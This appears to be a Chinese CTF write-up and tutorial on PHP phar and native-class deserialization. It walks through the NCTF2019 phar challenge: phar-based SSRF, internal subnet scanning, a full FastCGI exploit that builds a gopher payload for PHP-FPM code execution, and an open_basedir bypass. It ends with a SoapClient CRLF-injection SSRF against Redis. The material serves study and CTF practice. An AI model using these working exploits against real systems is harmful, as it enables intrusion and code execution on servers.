造成的反序列化,但是需要更改mysql
配置文件不常用。
compress.zlib://phar://phar.phar
compress.bzip2://phar://phar.phar
php://filter/read=convert.base64-encode/resource=phar://panda.png

NCTF2019 phar matches everything
- BUU NCTF2019 phar matches everything,由于环境问题,只好自己去
Github
下载源码--Github,主要有以下两个文件。
// catchmime.php
<?php
class Easytest{
protected $test;
public function funny_get(){
return $this->test;
}
}
class Main {
public $url;
public function curl($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$output=curl_exec($ch);
curl_close($ch);
return $output;
}
public function __destruct(){
$this_is_a_easy_test=unserialize($_GET['careful']);
if($this_is_a_easy_test->funny_get() === '1'){
echo $this->curl($this->url);
}
}
}
if(isset($_POST["submit"])) {
$check = getimagesize($_POST['name']);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
} else {
echo "File is not an image.";
}
}
?>
// upload.php
<?php
$target_dir = "uploads/";
$uploadOk = 1;
$imageFileType=substr($_FILES["fileToUpload"]["name"],strrpos($_FILES["fileToUpload"]["name"],'.')+1,strlen($_FILES["fileToUpload"]["name"]));
$file_name = md5(time());
$file_name =substr($file_name, 0, 10).".".$imageFileType;
$target_file=$target_dir.$file_name;
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
if($imageFileType !== "jpg" && $imageFileType !== "png" && $imageFileType !== "gif" && $imageFileType !== "jpeg" ) {
echo "Sorry, only jpg,png,gif,jpeg are allowed.";
$uploadOk = 0;
}
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file $file_name has been uploaded to ./uploads/";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
catchmime.php
有两个类EsayTest
,Main
.第一个类没啥看的暂且按下不表,Main
这个类的curl
方法可以看出到没对$url
参数做限制,如果参数可控那么可能造成SSRF
和任意文件读取
.第二个为魔术方法,其中调用了Main
类的curl
方法,但是前提为funny_get
方法的返回值为1
.这里的funy_get
方法来自第一个类,然后又有反序列化,且参数可控,因此将第一个类的$test
值设为1
即可。就可调用Main
类的curl
方法。那么接下来就找调用了Main
类的触发就Ok
了。看了题目的功能点就是上传文件,和一个检查文件类型,结合题目就想到Phar
反序列化,那么就不用unserialize()
函数就可以触发反序列化了。触发了Main
类那么就可以造成上面分析的两种漏洞。发现getimagesize
函数的参数我们可控,这个函数本身也是属于IO
操作,于是可以触发Phar
反序列化。
upload.php
,上传文件名不可控,为MD5
的随机时间戳截取前10位。白名单限制文件上传为['jpg','png','gif','jpeg']
其中的一种。上传shell
几乎是不可能了,这里也许也有Phar
反序列化,但是由于名字这些参数不可控,那么没办法了。就只有前面的漏洞了。
POC 文件读取
-
有了上面的分析,我们就用file://
协议先构造任意文件读取吧
<?php
class Easytest{
protected $test = '1';
}
class Main{
public $url = 'file:///etc/passwd';
}
// 因为$test 的属性问题需要url编码
echo urlencode(serialize(new Easytest()));
@unlink("phar.png");
$phar = new Phar("phar.png");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");
$phar->setMetadata(new Main());
$phar->addFromString("Panda.txt","I am Panda");
$phar->stopBuffering();
//O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D
-
然后将生成的Phar
文件后缀改成其中白名单的一种,上传后访问即可。有个坑谷歌浏览器hackbar
对submit
参数的提交不得行,火狐浏览器就OK
,或者Burp
就欧克了。火狐Hackbar

- 读取
/etc/hosts/
并不会发现内网IP地址,因此需要读/proc/net/arp/
,发现内网地址为10.0.255.1,但是这并不是需要攻击的IP
地址,根据上面改写了个两个脚本来判断需要攻击的内网地址。第一个则是生成Phar
文件。第二个则是将文件上传并访问看返回数据大小,最终发现内网IP不止一个?最后根据别人做题发现是PHP-fpm
那个界面。IP为10.0.255.11
。
<?php
\\ D:\\phpstudy\\www\\EXP\poc.php
class Easytest{
protected $test = '1';
}
// 因为$test 的属性问题需要url编码
echo urlencode(serialize(new Easytest()));
class Main{
public $url = 'http://10.0.255.';
}
$temp = new Main();
for($num = 1;$num<256;$num++){
$temp->url = $temp->url.(string)$num;
echo $temp->url.PHP_EOL;
print_r($temp);
$phar = new Phar($num.".phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER();?>");
$phar->setMetadata($temp);
$phar->addFromString("Panda.txt", "I am Panda");
$phar->stopBuffering();
$temp->url = 'http://10.0.255.';
}
import requests
import time
import re
import os
url = 'http://b284968d-4bbd-491e-8e35-45d7e6f37b18.node3.buuoj.cn'
def Upload(name):
PATH = 'D:\\phpStudy\\www\\EXP\\'
if os.path.exists(PATH+name):
os.rename(PATH+name,PATH+name.split('.')[0]+'.png')
files = {'fileToUpload': ('phar.png',open(PATH+name.split('.')[0]+'.png','rb'))}
response = requests.post(url=url+'/upload.php', files=files)
filename = re.findall("file (.*?.png)",response.text)[0]
if filename:
return filename
def req(name):
data = {
"submit":"1",
"name":"phar://uploads/{}"
}
data["name"] = data["name"].format(Upload(name))
headers = {'Content-Type' : 'application/x-www-form-urlencoded', }
res = requests.post(url+'/catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D', data=data, headers=headers)
print(name.split('.')[0]+" "*20+str(len(res.text)))
for num in range(1,256):
req(str(num) + '.phar')
time.sleep(1)
1 264
2 264
3 264
4 266
5 5835
6 8099
7 4891
8 264
9 1825
10 264
11 287
12 264
SSRF PHP-FPM
- 接下来就是用脚本打
PHP-fpm
了,PHITHON,X1ct34m
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def gopher(self, nameValuePairs={}, post=''):
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
return request
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php echo "PWNed";?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
parser.add_argument('-e', '--ext', help='ext absolute path', default='')
parser.add_argument('-if', '--include_file', help='evil.php absolute path', default='')
parser.add_argument('-u', '--url_format', help='generate gopher stream in url format', nargs='?',const=1)
parser.add_argument('-b', '--base64_format', help='generate gopher stream in base64 format', nargs='?',const=1)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(args.code),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
if args.ext and args.include_file:
#params['PHP_ADMIN_VALUE']='extension = '+args.ext
params['PHP_ADMIN_VALUE']="extension_dir = /var/www/html\nextension = ant.so"
params['PHP_VALUE']='auto_prepend_file = '+args.include_file
if not args.url_format and not args.base64_format :
response = client.request(params, args.code)
print(force_text(response))
else:
response = client.gopher(params, args.code)
if args.url_format:
print(urllib.quote(response))
if args.base64_format:
print(base64.b64encode(response))
# python2 exp.py 10.0.255.11 /var/www/html/index.php -p 9000 -c "<?php phpinfo(); ?>" -u
# %01%01%90%1E%00%08%00%00%00%01%00%00%00%00%00%00%01%04%90%1E%01%DB%00%00%0E%02CONTENT_LENGTH19%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%90%1E%00%00%00%00%01%05%90%1E%00%13%00%00%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%01%05%90%1E%00%00%00%00
<?php
class Easytest{
protected $test = '1';
}
// 因为$test 的属性问题需要url编码
echo urlencode(serialize(new Easytest()));
class Main{
public $url = 'gopher://10.0.255.11:9000/_%01%01%90%1E%00%08%00%00%00%01%00%00%00%00%00%00%01%04%90%1E%01%DB%00%00%0E%02CONTENT_LENGTH19%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%90%1E%00%00%00%00%01%05%90%1E%00%13%00%00%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%01%05%90%1E%00%00%00%00';
}
@unlink("phar.png");
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");
$phar->setMetadata(new Main());
$phar->addFromString("Panda.txt","I am Panda");
$phar->stopBuffering();
- 访问看到
PHPINFO
,但是很多函数被禁止了。并且目录限制仅/var/www/html/tmp
.因此需要绕过。alias.
<?php mkdir('/tmp/panda');chdir('/tmp/panda');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));readfile('/flag');?>

PHP 原生类
- 参考-师傅。又是有反序列化点,但是又找不到反序列化类时,可以利用
PHP
原生类也就是内置类。但有时有些原生类也不一定能反序列化,因为受zend_class_unserialize_deny
影响,它可以禁止某些原生类的反序列化就像disable_function
一样。
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
SoapClient::__call
- SOAP就是一个简单的构造
http
或https
请求,就像类似于Python
的request
吧。只不过这里是将XML
作为数据传输的格式。
SoapClient (mixed $wsdl [,array $options ])
这里有两个参数,第一个是wsdl模式下的uri
选择,若该值为NULL
,那么则不用wsdl
模式,则后面的数组需要设置localtion
和uri
参数。location
则是发送请求的URL
,uri
则是类似于统一资源定位符,就是你需要请求的资源文件名。
- 这个类中又提供了魔术方法
__call()
,当调用一个不存在或不可访问的方法时触发。通过构造的HTTP
请求则可以造成SSRF
.
<?php
$uri = 'info.php';
$location = 'http://127.0.0.1:5555/';
$soap = new SoapClient(null,array(location=>$location,uri=>$uri));
$SerSoap = serialize($soap);
echo $SerSoap.PHP_EOL;
$UnserSoap = unserialize($SerSoap);
$UnserSoap->Panda(); // 该函数不存在

- 这里是
POST
请求的,如果我们需要构造GET
请求,只需使用wsdl
模式即可,实例化内容即为攻击目标地址如http://127.0.0.1/info.php
.
- 这里似乎没啥,但是发现
User-Agent
我们可控再结合HTTP
的CRLF
漏洞,那么问题就出来了。
Demo
- 我是
Windows
我就开一个Redis
服务,但是把他限制IP
连接为本地。

<?php
error_reporting(0);
$data = $_POST['data'];
echo $data."
";
$undata = unserialize($data);
print_r($undata);
$undata->Panda();
- 看代码只有反序列化点,但是没看到利用类,那么就用
SoapClient
中的__call()
方法来进行SSRF
。
<?php
$localtion = 'http://127.0.0.1:6379/';
$uri = 'test';
$payload = "Panda\r\nSET NAME Panda";
$soap = new SoapClient(NULL,array(
'location'=>$localtion,
'uri'=>$uri,
'user_agent'=>$payload,
));
$SerSoap = serialize($soap);
echo urlencode($SerSoap);
// O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22location%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A6379%2F%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A21%3A%22Panda%0D%0ASET+NAME+Panda%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
- 再进行
POST
提交payload后,再去Redis
中看,已经出现了我们的Payload

